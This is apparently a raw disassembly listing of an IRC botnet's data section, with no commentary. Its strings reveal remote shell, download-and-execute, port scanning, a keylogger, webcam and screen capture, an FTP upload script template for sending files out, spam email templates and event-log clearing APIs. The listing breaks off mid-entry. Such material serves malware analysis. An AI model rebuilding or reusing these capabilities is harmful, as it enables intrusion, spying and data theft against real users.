dd 0 aVisit db 'visit',0 ; DATA XREF: sub_4021E5+50DCo align 10h aV: ; DATA XREF: sub_4021E5+50F9o unicode 0, <v>,0 dword_443444 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_4021E5+519Bo dd 2Eh unk_44345C db 2Dh ; - ; DATA XREF: sub_4021E5+522Ao db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStar_9 db ' Failed to start connection thread, error: <%d>.',0 align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_4021E5+5260o aMirc db 'mirc',0 ; DATA XREF: sub_4021E5+527Do align 4 unk_4434AC db 2Dh ; - ; DATA XREF: sub_4021E5+52D7o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_4434CC dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_4021E5:loc_4074D1o dd 746E6573h, 2Eh dword_4434E8 dd 646D63h dword_4434EC dd 6D63h dword_4434F0 dd 0Ah unk_4434F4 db 2Dh ; - ; DATA XREF: sub_4021E5+53D4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h dword_443520 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_4021E5+5415o dd 732520h aReadfile db 'readfile',0 ; DATA XREF: sub_4021E5+544Bo align 4 aRf db 'rf',0 ; DATA XREF: sub_4021E5+5468o align 4 aR_0: ; DATA XREF: sub_4021E5:loc_407661o unicode 0, <r>,0 unk_44354C db 2Dh ; - ; DATA XREF: sub_4021E5+54FDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 10h unk_443570 db 2Dh ; - ; DATA XREF: sub_4021E5+5520o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_4021E5+557Co align 4 aOn db 'on',0 ; DATA XREF: sub_4021E5+559Do align 10h dword_4435A0 dd 234032Dh, 6E656469h, 3026474haAlreadyRunni_1 db '- Already running.',0 align 10h dword_4435C0 dd 234032Dh, 6E656469h, 3026474haServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_4435EC dd 234032Dh, 6E656469h, 3026474haFailedToSta_10 db '- Failed to start server, error: <%d>.',0 align 10h aOff db 'off',0 ; DATA XREF: sub_4021E5+5670o dword_443624 dd 234032Dh, 6E656469h, 3026474haServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_44365C dd 234032Dh, 6E656469h, 3026474haNoThreadFound_ db '- No thread found.',0 align 4 aNet db 'net',0 ; DATA XREF: sub_4021E5+5711o aStart db 'start',0 ; DATA XREF: sub_4021E5+578Co align 4 aS_2 db '%s',0 ; DATA XREF: sub_4021E5+57BCo align 4 unk_44368C db 2Dh ; - ; DATA XREF: sub_4021E5+57EDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h unk_4436B0 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4079E7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 aStop db 'stop',0 ; DATA XREF: sub_4021E5+5827o align 4 aS_3 db '%s',0 ; DATA XREF: sub_4021E5+5847o align 4 aPause db 'pause',0 ; DATA XREF: sub_4021E5+586Do align 4 aS_4 db '%s',0 ; DATA XREF: sub_4021E5+588Do align 4 aContinue db 'continue',0 ; DATA XREF: sub_4021E5+58B3o align 4 aS_5 db '%s',0 ; DATA XREF: sub_4021E5+58D3o align 4 aDelete_0 db 'delete',0 ; DATA XREF: sub_4021E5+58F9o align 10h aS_6 db '%s',0 ; DATA XREF: sub_4021E5+5919o align 4 aShare db 'share',0 ; DATA XREF: sub_4021E5+593Fo align 4 aS_7 db '%s',0 ; DATA XREF: sub_4021E5+5988o align 10h aS_8 db '%s',0 ; DATA XREF: sub_4021E5+59C3o align 4 unk_443714 db 2Dh ; - ; DATA XREF: sub_4021E5+59F6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 unk_443738 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407BF0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_4021E5+5A30o align 10h aS_9 db '%s',0 ; DATA XREF: sub_4021E5+5A8Co align 4 aS_10 db '%s',0 ; DATA XREF: sub_4021E5+5AE9o align 4 aS_11 db '%s',0 ; DATA XREF: sub_4021E5+5B28o align 4 unk_44376C db 2Dh ; - ; DATA XREF: sub_4021E5+5B5Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_44378C db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407D55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_4021E5+5B95o align 4 aS_12 db '%s',0 ; DATA XREF: sub_4021E5+5BD3o align 4 unk_4437B8 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407DCEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 unk_4437DC db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407DE3o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_4437F8 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407DF8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aCapture db 'capture',0 ; DATA XREF: sub_4021E5+5C6Eo aCap db 'cap',0 ; DATA XREF: sub_4021E5+5C8Bo aScreen db 'screen',0 ; DATA XREF: sub_4021E5:loc_407E84o align 4 unk_443844 db 2Dh ; - ; DATA XREF: sub_4021E5+5CF1o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 unk_443870 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407EECo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing screen.',0 align 10h unk_4438A0 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407F01o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_4021E5:loc_407F14o unk_4438E4 db 2Dh ; - ; DATA XREF: sub_4021E5+5DABo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 unk_44390C db 2Dh ; - ; DATA XREF: sub_4021E5:loc_407FC9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_4021E5:loc_407FDCo align 4 unk_44393C db 2Dh ; - ; DATA XREF: sub_4021E5+5ECAo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 unk_443968 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4080C5o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_44399C db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4080DAo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for webcam capture.',0 align 4 aVideo db 'video',0 ; DATA XREF: sub_4021E5:loc_4080EDo align 4 unk_4439DC db 2Dh ; - ; DATA XREF: sub_4021E5+6003o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 unk_443A08 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_4081FEo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing amateur video from webcam.',0 unk_443A48 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_408213o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for amateur video capture.',0 align 4 aGethost db 'gethost',0 ; DATA XREF: sub_4021E5+6089o aGh db 'gh',0 ; DATA XREF: sub_4021E5+60A6o align 4 aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_4021E5+612Eo align 4 unk_443AA4 db 2Dh ; - ; DATA XREF: sub_4021E5+616Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_443ACC db 2Dh ; - ; DATA XREF: sub_4021E5:loc_40836Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 dword_443AFC dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_4021E5+61DAo dd 2E732520h, 0 aKilllog db 'killlog',0 ; DATA XREF: sub_4021E5+622Do aKl db 'kl',0 ; DATA XREF: sub_4021E5+624Ao align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_4021E5+62A0o align 10h aAa db 'aa',0 ; DATA XREF: sub_4021E5+62BDo align 4 unk_443B34 db 2Dh ; - ; DATA XREF: sub_4021E5+632Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_4021E5+638Ao aPm db 'pm',0 ; DATA XREF: sub_4021E5+63A7o align 10h unk_443B60 db 2Dh ; - ; DATA XREF: sub_4021E5+645Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 10h aAction db 'action',0 ; DATA XREF: sub_4021E5+6480o align 4 aA: ; DATA XREF: sub_4021E5+649Do unicode 0, <a>,0 dword_443B8C dd 54434101h, 204E4F49h, 17325hunk_443B98 db 2Dh ; - ; DATA XREF: sub_4021E5+656Fo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 aCycle db 'cycle',0 ; DATA XREF: sub_4021E5+6591o align 4 aCy db 'cy',0 ; DATA XREF: sub_4021E5+65AEo align 10h a332_0 db '332',0 ; DATA XREF: sub_4021E5+65C8o aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+65EDo align 10h aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+6637o align 10h dword_443BE0 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_4021E5+6647o aMode db 'mode',0 ; DATA XREF: sub_4021E5+6667o align 4 aM: ; DATA XREF: sub_4021E5+6684o unicode 0, <m>,0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+66CCo align 4 unk_443C0C db 2Dh ; - ; DATA XREF: sub_4021E5+66E2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aC_raw db 'c_raw',0 ; DATA XREF: sub_4021E5+6703o align 10h aC_r db 'c_r',0 ; DATA XREF: sub_4021E5+6720o aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+67A5o align 4 dword_443C3C dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_4021E5+67E4o dd 25203A29h, 73h aC_mode db 'c_mode',0 ; DATA XREF: sub_4021E5+6806o align 10h aC_m db 'c_m',0 ; DATA XREF: sub_4021E5+6823o aModeS_0 db 'MODE %s',0 ; DATA XREF: sub_4021E5+6873o aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+68BFo align 4 dword_443C74 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_4021E5+68FEo dd 203A2973h, 7325h aC_nick db 'c_nick',0 ; DATA XREF: sub_4021E5+6920o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_4021E5+693Do aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_4021E5+695Eo aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+69AAo align 4 dword_443CAC dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_4021E5+69F0o dd 203A2973h, 7325h aC_join db 'c_join',0 ; DATA XREF: sub_4021E5+6A12o align 10h aC_j db 'c_j',0 ; DATA XREF: sub_4021E5+6A2Fo aJoinSS_3 db 'JOIN %s %s',0 ; DATA XREF: sub_4021E5+6A5Do align 10h aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+6AA9o align 4 aC_part db 'c_part',0 ; DATA XREF: sub_4021E5+6AEAo align 10h aC_p db 'c_p',0 ; DATA XREF: sub_4021E5+6B07o aPartS_1 db 'PART %s',0 ; DATA XREF: sub_4021E5+6B28o aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4021E5+6B74o align 4 aUpdate db 'update',0 ; DATA XREF: sub_4021E5+6BB5o align 4 aUp_0 db 'up',0 ; DATA XREF: sub_4021E5+6BD2o align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_4021E5+6C4Fo align 4 dword_443D1C dd 234032Dh, 61647075h, 3026574haDownloadingUpd db '- Downloading update from: %s.',0 align 4 dword_443D48 dd 234032Dh, 61647075h, 3026574haFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_443D84 dd 234032Dh, 61647075h, 3026574haBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 aExecute db 'execute',0 ; DATA XREF: sub_4021E5+6E46o aE: ; DATA XREF: sub_4021E5+6E63o unicode 0, <e>,0 unk_443DD8 db 2Dh ; - ; DATA XREF: sub_4021E5+6F29o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_443DFC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_4021E5+6F44o dd 7325203Ah, 0 aFindfile db 'findfile',0 ; DATA XREF: sub_4021E5+6FA0o align 4 aFf db 'ff',0 ; DATA XREF: sub_4021E5+6FBDo align 4 unk_443E28 db 2Dh ; - ; DATA XREF: sub_4021E5+707Eo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 unk_443E58 db 2Dh ; - ; DATA XREF: sub_4021E5+7112o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToSta_11 db 'Failed to start search thread, error: <%d>.',0 aRename db 'rename',0 ; DATA XREF: sub_4021E5+7148o align 4 aMv db 'mv',0 ; DATA XREF: sub_4021E5+7165o align 10h unk_443EA0 db 2Dh ; - ; DATA XREF: sub_4021E5+71B7o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 dword_443EC4 dd 234032Dh, 656C6966h, 2D0302haClone_0 db 'clone',0 ; DATA XREF: sub_4021E5+7252o align 4 aC: ; DATA XREF: sub_4021E5+726Fo unicode 0, <c>,0 dword_443EDC dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 dword_443F0C dd 234032Dh, 6E6F6C63h, 3027365haFailedToSta_12 db '- Failed to start clone thread, error: <%d>.',0 align 4 aDownload db 'download',0 ; DATA XREF: sub_4021E5+740Fo align 4 aDl db 'dl',0 ; DATA XREF: sub_4021E5+742Co align 4 unk_443F58 db 2Dh ; - ; DATA XREF: sub_4021E5+75A5o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_443F84 db 2Dh ; - ; DATA XREF: sub_4021E5+7635o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_13 db 'Failed to start transfer thread, error: <%d>.',0 align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_4021E5+7691o align 10h aRd db 'rd',0 ; DATA XREF: sub_4021E5+76AEo align 4 unk_443FD4 db 2Dh ; - ; DATA XREF: sub_4021E5+7767o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_444010 db 2Dh ; - ; DATA XREF: sub_4021E5+77F6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 aScan_1 db 'scan',0 ; DATA XREF: sub_4021E5+7852o align 4 aSc db 'sc',0 ; DATA XREF: sub_4021E5+786Fo align 10h unk_444060 db 2Dh ; - ; DATA XREF: sub_4021E5+791Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 unk_44409C db 2Dh ; - ; DATA XREF: sub_4021E5+79ABo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_14 db 'Failed to start scan thread, error: <%d>.',0 align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_4021E5+7A07o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_4021E5+7A24o align 4 aSSS db '[%s] <%s> %s',0 ; DATA XREF: sub_4021E5+7BB5o align 4 aC_action db 'c_action',0 ; DATA XREF: sub_4021E5+7BFEo align 4 off_444104 dd offset byte_615F63 ; DATA XREF: sub_4021E5+7C1Bo dword_444108 dd 54434101h, 204E4F49h, 17325hdword_444114 dd 5D73255Bh, 25202A20h, 73252073h, 0aPortscan db 'portscan',0 ; DATA XREF: sub_4021E5+7E28o align 10h aPsc db 'psc',0 ; DATA XREF: sub_4021E5+7E45o unk_444134 db 2Dh ; - ; DATA XREF: sub_4021E5+7F11o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_444184 db 2Dh ; - ; DATA XREF: sub_4021E5+7FA0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_15 db 'Failed to start scan thread, error: <%d>.',0 align 10h aAdvscan db 'advscan',0 ; DATA XREF: sub_4021E5+7FFCo aAsc db 'asc',0 ; DATA XREF: sub_4021E5+8019o unk_4441CC db 2Dh ; - ; DATA XREF: sub_4021E5+8064o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 4 unk_44420C db 2Dh ; - ; DATA XREF: sub_4021E5+820Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_16 db 'Failed to start scan, port is invalid.',0 align 10h unk_444240 db 2Dh ; - ; DATA XREF: sub_4021E5:loc_40A5D1o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_17 db 'Failed to start scan, no IP specified.',0 align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_4021E5+852Do align 4 aSequential_0 db 'Sequential',0 ; DATA XREF: sub_4021E5:loc_40A71Eo align 4 unk_444288 db 2Dh ; - ; DATA XREF: sub_4021E5+8568o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 10h unk_4442F0 db 2Dh ; - ; DATA XREF: sub_4021E5+85F7o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_18 db 'Failed to start scan thread, error: <%d>.',0 align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_4021E5+8658o aNs db 'ns',0 ; DATA XREF: sub_4021E5+8675o align 4 unk_444334 db 2Dh ; - ; DATA XREF: sub_4021E5+86B0o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 unk_444370 db 2Dh ; - ; DATA XREF: sub_4021E5+87E6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_4443A8 db 2Dh ; - ; DATA XREF: sub_4021E5+880Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_4443DC db 2Dh ; - ; DATA XREF: sub_4021E5+8859o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h aEmail db 'email',0 ; DATA XREF: sub_4021E5+8881o align 4 asc_444418: ; DATA XREF: sub_4021E5+8908o unicode 0, < >,0 a_: ; DATA XREF: sub_4021E5+890Do unicode 0, <_>,0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_4021E5+89C0o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 unk_44446C db 2Dh ; - ; DATA XREF: sub_4021E5+8A71o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHttpcon db 'httpcon',0 ; DATA XREF: sub_4021E5+8ACDo aHcon db 'hcon',0 ; DATA XREF: sub_4021E5+8AEAo align 10h aUpload db 'upload',0 ; DATA XREF: sub_4021E5+8B8Eo align 4 unk_4444A8 db 2Dh ; - ; DATA XREF: sub_4021E5+8BC9o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_4021E5+8C52o align 4 aAb db 'ab',0 ; DATA XREF: sub_4021E5+8C66o align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_4021E5+8CCDo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aSS_0 db '-s:%s',0 ; DATA XREF: sub_4021E5+8CF3o align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_4021E5+8D12o aOpen_1 db 'open',0 ; DATA XREF: sub_4021E5+8D17o align 4 unk_444518 db 2Dh ; - ; DATA XREF: sub_4021E5+8D42o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 10h unk_444540 db 2Dh ; - ; DATA XREF: sub_4021E5+8D6Bo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0 align 10h aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_40B00F+10o align 4 aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_40B00F:loc_40B028o aS_18 db '%s',0 ; DATA XREF: sub_40B00F+47o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40B00F+6Eo aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40B0C5+6o align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40B0C5+1Eo align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40B0C5+31o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40B0C5+44o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40B0C5+57o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_40B0C5+6Ao align 4 aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40B0C5+7Do aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40B0C5+90o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40B0C5+A3o align 4 aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40B0C5+B6o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40B0C5+C9o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40B0C5+DCo align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40B0C5:loc_40B218o align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40B0C5:loc_40B255o align 4 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40B0C5+1A8o align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40B0C5+1BBo aIswindow db 'IsWindow',0 ; DATA XREF: sub_40B0C5+1CEo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40B0C5+1E1o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40B0C5+1F4o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40B0C5+207o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40B0C5+21Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40B0C5+22Do align 4 aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40B0C5:loc_40B357o align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40B0C5+2A5o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40B0C5+2B8o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40B0C5+2CBo aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40B0C5:loc_40B3E8o align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40B0C5+33Bo align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40B0C5+34Eo aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40B0C5+361o align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40B0C5+374o align 10h aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40B0C5+387o aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40B0C5+39Ao aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_40B0C5+3ADo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_40B0C5+3C0o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40B0C5:loc_40B4D8o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40B0C5+426o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40B0C5+439o align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40B0C5:loc_40B536o align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40B0C5+484o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40B0C5+497o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_40B0C5+4AAo align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40B0C5+4BDo align 10h aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: 